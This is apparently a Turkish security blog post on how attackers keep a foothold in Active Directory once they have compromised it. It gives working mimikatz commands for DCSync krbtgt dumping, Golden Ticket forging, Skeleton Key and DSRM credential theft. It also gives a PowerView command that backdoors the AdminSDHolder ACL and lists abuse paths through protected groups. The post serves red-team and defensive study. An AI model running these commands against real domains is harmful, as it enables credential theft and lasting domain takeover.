Active Directory Yapılarında Kalıcılık Sağlama

Saldırganlar, bir sistemi ele geçirdikten ve başarılı bir şekilde yetki yükseltme yaptıktan sonra sistemlerde kalıcılık sağlamaya çalışırlar. Bunu yapmalarının en büyük nedeni sistem ile aralarındaki veri akışını bozmamak ve her türlü veriyi ele geçirebilmektir. Bu nedenle kurumlar bir saldırıdan zarar gördüklerinde, saldırganın o sistemden verileri alıp tamamen gittiğini asla düşünmemelidir. Bazen kalıcılık bir sistem dosyasına zararlı bir kod parçacığı enjekte edilmesiyle, bazen de yüksek ayrıcalıklara sahip bir kullanıcının sisteme eklenmesiyle olabilir.

Kurumların büyük bir çoğunluğu Active Directory yapılarıyla çalışmaktadır. Bu yüzden saldırganların hedefi çoğunlukla bu yapılardır. Bu blog yazısında da Active Directory yapılarına başarılı bir şekilde sızan saldırganların, sistemlerde nasıl kalıcılık sağladıklarının bazı teknikleri işlenecektir.

krbtgt Karmasını Ele Geçirmek İçin DCSync Özelliğini Kullanmak

DCSync saldırısı, Domain Controller gibi davranarak diğer kullanıcı adlarını ve parola bilgilerini ele geçirmek için kullanılır. Bu saldırının başarılı olabilmesi için yetkili gruplara dahil olan bir kullanıcıya ihtiyaç duyulur.

Kullanımı > mimikatz # lsadump::dcsync /user:krbtgt /domain:<domain>

Hesap Bilgilerini Ele Geçirmek

Kullanımı > mimikatz # lsadump::lsa /patch

Golden Ticket (Altın Bilet) Saldırısı

Golden Ticket saldırısı, etki alanındaki herhangi bir kullanıcının TGT’sini ele geçirerek çalışır, bu tercihen Domain Admin olur. Ancak Golden Ticket için krbtgt biletinin ele geçirilmesi yeterli olur. Daha sonra, verilen hizmet hesabı bilgilerini taklit eden bir TGT oluşturmak için mimikatz gibi araçlar kullanılır.

Golden Ticket saldırısı için ihtiyacımız olan bilgiler: Domain, SID ve krbtgt karması.

Domain:

SID:

krbtgt:

Elde edilen bilgiler ile bir Golden Ticket oluşturulabilir.

Kullanımı > mimikatz # kerberos::golden /User:Administrator /domain:<domain> /sid:<S-1-5-x-x-x-x> /krbtgt:<hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt

Parametreler

  • Kerberos::golden – Modül ismi.

  • /User:Administrator – TGT’nin oluşturulduğu kullanıcı adı.

  • /domain:<domain> – Domain ismi.

  • /sid:<S-1-5-X-X-X-X> – Domain SID’si.

  • /krbtgt:<hash> – krbtgt karması.

  • /id:500 /groups:512 – İsteğe bağlı kullanıcı RID’si (varsyılan 500) ve grup varsayılanı 513 512 520 518 519.

  • /ptt ya da /ticket – Bileti mevcut PowerShell işlemine enjekte eder. Bileti diske kaydetmeye gerek yoktur. Daha sonra kullanmak üzer bir dosyaya kaydeder.

  • /startoffset:0 – Biletin hazır olacağı dakikayı belirler.

  • /endin:0 – Dakika cinsinden isteğe bağlı bilet ömrünü belirler.

  • /renewmax:10080 – Dakika cinsinden biletin yenilenme ömrünü belirler.

Görselde de görüldüğü üzere Golden Ticket başarılı bir şekilde oluşturuldu.

 

Skeleton Key Saldırısı

Skeleton Key, AS-REQ şifreli zaman damgalarını kötüye kullanarak çalışır. Zaman damgası, kullanıcıların NT karmaları ile şifrelenir. Domain Controller daha sonra bu zaman damgasının şifresini kullanıcıların NT karması ile çözmeye çalışır. Bir Skeleton Key oluşturulduğunda, Domain Controller hem kullanıcı NT karmasını hem de etki alanı ormanına erişmenizi sağlayan Skeleton Key NT karmasını kullanarak zaman damgasını çözmeye çalışır.

Kullanımı: mimikatz # misc::skeleton

Örnek: net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz ile paylaşıma artık yönetici parolasına gerek kalmadan erişilebilir.

DSRM Parolalarını Ele Geçirme

DSRM(Directory Services Restore Mode), Active Directory ortamlarında yedekleme işlemlerinin yapıldığı yerdir. Her Domain Controller’ın DSRM hesabı adı verilen bir yerel yönetici hesabı vardır. DSRM parolası, yeni bir DC kurulduğunda ve parola nadiren değiştirildiğinde ayarlanır.

Kullanımı > mimikatz # token::elevate – lsadump::sam

AdminSDHolder

Active Directory, AdminSDHolder nesnesinin ACL’sini(Access Control List) periyodik olarak (varsayılan olarak her 60 dakikada bir) alır ve izinleri o nesnenin parçası olan tüm gruplara ve hesaplara uygular. Bu, bir hesap taklit edilip, yüksek ayrıcalıklı bir gruptan 60 dakika içinde kaldırılsa bile izinlerin geri gönderileceği anlamına gelir.

Domain kalıcılığını sağlamak için AdminSDHolder’ın ACL’sine standart bir kullanıcı hesabı eklenebilir. Bu kullanıcı, Domain Administrator ayrıcalıklarının eşdeğeri olan GenericAll ayrıcalıklarına sahip olacaktır.

Korumalı Gruplar

 

Hesap Operatörleri (Account Operators)

Kurumsal Yöneticiler (Enterprise Admins)

Yedekleme Operatörleri (Backup Operators)

Etki Alanı Denetleyicileri (Domain Controllers)

Sunucu Operatörleri (Server Operators)

Salt Okunur Etki Alanı Denetleyicileri (Read-only Domain Controllers)

Yazdırma Operatörleri (Print Operators)

Şema Yöneticileri (Schema Admins)

Etki Alanı Yöneticileri (Domain Admins)

Yöneticiler (Administrators)

Tanınmış kötüye kullanım örnekleri

Gruplar

Özet

Account Operators

DA/EA/BA gupları değiştirilemez. İç içe geçmiş (nested) grubu değiştirilebilir.

Backup Operators

GPO’yu yedekleyin, denetlenen hesabın SID’sini ayrıcalıklı bir gruba eklemek için düzenleyin ve geri yükleyin.

Server Operators

Sistem olarak bir komut çalıştırın. Bunun için devde dışı bırakılmış Tarayıcı (Browser) hizmetini kullanın.

 Print Operators

Ntds.dit dosyasının yedeğini kopyalayın, aygıt sürücülerini yükleyin.

Komutları yazmadan önce PowerView sisteme yüklenmelidir.

Kullanımı > Add-ObjectAcl -TargetADSprefix ‘CN=AdminSDHolder,CN=System’ -PrincipalSamAccountName <accountName> -Verbose -Rights All

60 dakika sonra izinlerdeki değişiklik uygulanacaktır. Get-ObjectAcl modülü ile Machine1 kullanıcısının GenericAll Active Directory haklarına sahip olduğunu doğrulamak için kullanılabilir.

Copyright © 2021. All rights reserved

You cannot copy content of this page

Scroll to Top